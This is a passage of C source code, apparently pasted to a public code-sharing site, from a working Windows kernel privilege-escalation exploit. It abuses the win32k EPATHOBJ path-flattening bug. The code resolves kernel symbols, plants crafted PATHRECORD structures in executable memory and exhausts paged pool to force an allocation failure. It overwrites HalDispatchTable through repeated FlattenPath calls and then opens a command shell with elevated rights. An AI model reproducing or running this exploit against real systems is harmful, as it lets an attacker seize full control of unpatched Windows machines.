  676.     KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
  677.     HalDispatchTable            = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable")           - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  678.     PsInitialSystemProcess      = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess")     - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  679.     PsReferencePrimaryToken     = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken")    - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  680.     PsLookupProcessByProcessId  = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  681.  
  682.     // Search for a ret instruction to install in the damaged HalDispatchTable.
  683.     HalQuerySystemInformation   = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
  684.                                 - (ULONG) KernelHandle
  685.                                 + (ULONG) ModuleInfo.Modules[0].ImageBase;
  686.  
  687.     LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
  688.  
  689.     // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  690.     // pathrecord chain.
  691.     PathRecord = VirtualAlloc(NULL,
  692.                               sizeof *PathRecord,
  693.                               MEM_COMMIT | MEM_RESERVE,
  694.                               PAGE_EXECUTE_READWRITE);
  695.  
  696.     LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
  697.  
  698.     // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  699.     // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  700.     // loop in EPATHOBJ::bFlatten().
  701.     PathRecord->flags   = 0;
  702.     PathRecord->next    = PathRecord;
  703.     PathRecord->prev    = (PPATHRECORD)(0x42424242);
  704.  
  705.     LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
  706.     LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
  707.     LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);
  708.  
  709.     // Now we need to create a PATHRECORD at an address that is also a valid
  710.     // x86 instruction, because the pointer will be interpreted as a function.
  711.     // I've created a list of candidates in DispatchRedirect.
  712.     LogMessage(L_INFO, "Searching for an available stub address...");
  713.  
  714.     // I need to map at least two pages to guarantee the whole structure is
  715.     // available.
  716.     while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
  717.                          PAGE_SIZE * 2,
  718.                          MEM_COMMIT | MEM_RESERVE,
  719.                          PAGE_EXECUTE_READWRITE)) {
  720.  
  721.         LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
  722.                             *DispatchRedirect & ~(PAGE_SIZE - 1),
  723.                             GetLastError());
  724.  
  725.         // This page is not available, try the next candidate.
  726.         if (!*++DispatchRedirect) {
  727.             LogMessage(L_ERROR, "No redirect candidates left, sorry!");
  728.             return 1;
  729.         }
  730.     }
  731.  
  732.     LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
  733.  
  734.     // This PATHRECORD must terminate the list and recover.
  735.     ExploitRecordExit           = (PPATHRECORD) *DispatchRedirect;
  736.     ExploitRecordExit->next     = NULL;
  737.     ExploitRecordExit->prev     = NULL;
  738.     ExploitRecordExit->flags    = PD_BEGINSUBPATH;
  739.     ExploitRecordExit->count    = 0;
  740.  
  741.     LogMessage(L_INFO, "  ->next  @ %p", ExploitRecordExit->next);
  742.     LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecordExit->prev);
  743.     LogMessage(L_INFO, "  ->flags @ %u", ExploitRecordExit->flags);
  744.  
  745.     // This is the second stage PATHRECORD, which causes a fresh PATHRECORD
  746.     // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
  747.     // be copied over to the new record. Therefore, we get
  748.     //
  749.     // nt!HalDispatchTable[1] = &ExploitRecordExit.
  750.     //
  751.     // So we make &ExploitRecordExit a valid sequence of instuctions here.
  752.     LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
  753.  
  754.     ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
  755.     ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
  756.     ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
  757.     ExploitRecord.count         = 4;
  758.  
  759.     LogMessage(L_INFO, "  ->next  @ %p", ExploitRecord.next);
  760.     LogMessage(L_INFO, "  ->prev  @ %p", ExploitRecord.prev);
  761.     LogMessage(L_INFO, "  ->flags @ %u", ExploitRecord.flags);
  762.  
  763.     LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
  764.  
  765.     // Generate a large number of Belier Curves made up of pointers to our
  766.     // PATHRECORD object.
  767.     for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  768.         Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  769.         Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  770.         PointTypes[PointNum]    = PT_BEZIERTO;
  771.     }
  772.  
  773.     // Switch to a dedicated desktop so we don't spam the visible desktop with
  774.     // our Lines (Not required, just stops the screen from redrawing slowly).
  775.     SetThreadDesktop(CreateDesktop("DontPanic",
  776.                                    NULL,
  777.                                    NULL,
  778.                                    0,
  779.                                    GENERIC_ALL,
  780.                                    NULL));
  781.  
  782.     // Get a handle to this Desktop.
  783.     Device = GetDC(NULL);
  784.  
  785.     // Take ownership of Mutex
  786.     WaitForSingleObject(Mutex, INFINITE);
  787.  
  788.     // Spawn a thread to cleanup
  789.     Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
  790.  
  791.     LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
  792.  
  793.     // We need to cause a specific AllocObject() to fail to trigger the
  794.     // exploitable condition. To do this, I create a large number of rounded
  795.     // rectangular regions until they start failing. I don't think it matters
  796.     // what you use to exhaust paged memory, there is probably a better way.
  797.     //
  798.     // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  799.     // failure. Seriously, do some damn QA Microsoft, wtf.
  800.     for (Size = 1 << 26; Size; Size >>= 1) {
  801.         while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  802.             NumRegion++;
  803.     }
  804.  
  805.     LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
  806.  
  807.     LogMessage(L_INFO, "Flattening curves...");
  808.  
  809.     for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
  810.         BeginPath(Device);
  811.         PolyDraw(Device, Points, PointTypes, PointNum);
  812.         EndPath(Device);
  813.         FlattenPath(Device);
  814.         FlattenPath(Device);
  815.  
  816.         // Test if exploitation succeeded.
  817.         NtQueryIntervalProfile(ProfileTotalIssues, Interval);
  818.  
  819.         // Repair any damage.
  820.         *Interval = SavedInterval;
  821.  
  822.         EndPath(Device);
  823.     }
  824.  
  825.     if (Finished) {
  826.         LogMessage(L_INFO, "Success, launching shell...", Finished);
  827.         ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
  828.         LogMessage(L_INFO, "Press any key to exit...");
  829.         getchar();
  830.         ExitProcess(0);
  831.     }
  832.  
  833.     // If we reach here, we didn't trigger the condition. Let the other thread know.
  834.     ReleaseMutex(Mutex);
  835.     WaitForSingleObject(Thread, INFINITE);
  836.     ReleaseDC(NULL, Device);
  837.  
  838.     // Try again...
  839.     LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
  840.     LogMessage(L_INFO, "Press any key to exit...");
  841.     getchar();
  842.     ExitProcess(1);
  843. }
  844.  
  845. // A quick logging routine for debug messages.
  846. BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
  847. {
  848.     CHAR Buffer[1024] = {0};
  849.     va_list Args;
  850.  
  851.     va_start(Args, Format);
  852.         vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
  853.     va_end(Args);
  854.  
  855.     switch (Level) {
  856.         case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
  857.         case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
  858.         case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
  859.         case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
  860.     }
  861.  
  862.     fflush(stdout);
  863.     fflush(stderr);
  864.  
  865.     return TRUE;
  866. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement